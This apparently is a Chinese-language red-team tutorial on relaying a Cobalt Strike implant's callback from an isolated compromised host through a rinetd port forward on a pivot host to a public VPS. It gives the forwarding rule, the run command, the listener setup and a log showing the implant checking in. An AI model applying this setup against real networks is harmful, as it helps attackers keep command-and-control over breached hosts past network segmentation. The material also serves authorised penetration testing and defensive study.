网络拓扑
先画一个简单的网络拓扑,便于理解接下来要干什么。
网络中CS控制端部署于公网vps上,内网跳板机可同时连通外网与内网,失陷主机只能连通到跳板机,无法访问公网。我们的目的是让失陷主机上的CS客户端通过跳板机的端口转发上线。
跳板机端口转发
由于失陷主机只能连接到内网的跳板机,故我们要在跳板机上进行一波端口转发。即当失陷主机访问跳板机的A端口,跳板机会将流量转发去访问vps的A端口,使得失陷主机的CS远控上线。
跳板机为linux系统,使用rinetd进行端口转发,安装方法见:https://pkgs.org/search/?q=rinetd
安装后编辑/etc/rinetd.conf
文件设置端口转发规则:
# 0.0.0.0代表从任何ip地址进入 8444为本机监听端口 39.*.*.* 为目的ip 后面的8444为端口转发的目的端口
0.0.0.0 8444 39.*.*.* 8444
保存,然后让端口转发运行起来rinetd -c /etc/rinetd.conf
此时失陷主机对跳板机的8444端口的访问会被跳板机转发到vps的8444端口。为了试验端口转发是否成功,可在vps的8444端口开一个web服务,从失陷主机访问跳板机的8444端口,成功访问到vps的web服务即为端口转发成功。
CS马子生成
由于该马子需要运行在内网环境下,所以需要重点关注反弹的目的ip与端口。我们先新建一个监听器如图。
重点在于红框标出处的ip地址,需要写为内网跳板机的地址,端口写为8444端口。这样使用这个监听器生成的马子反弹时会连接跳板机的8444端口。而我们已经在跳板机上设置了端口转发,这个流量会转发到vps的8444端口上,完成上线。
马子生成网上多的是,此处不表。
马子上线
在失陷主机上运行马子,成功上线。这时候我们看一下/var/log/rinetd.log
,如下,可见端口转发成功
~ # cat /var/log/rinetd.log
25/Apr/2020:14:44:19 10.211.55.11 0.0.0.0 8444 39.*.*.*.* 8444 0 0 opened
25/Apr/2020:14:44:19 10.211.55.11 0.0.0.0 8444 39.*.*.*.* 8444 395 115 done-local-closed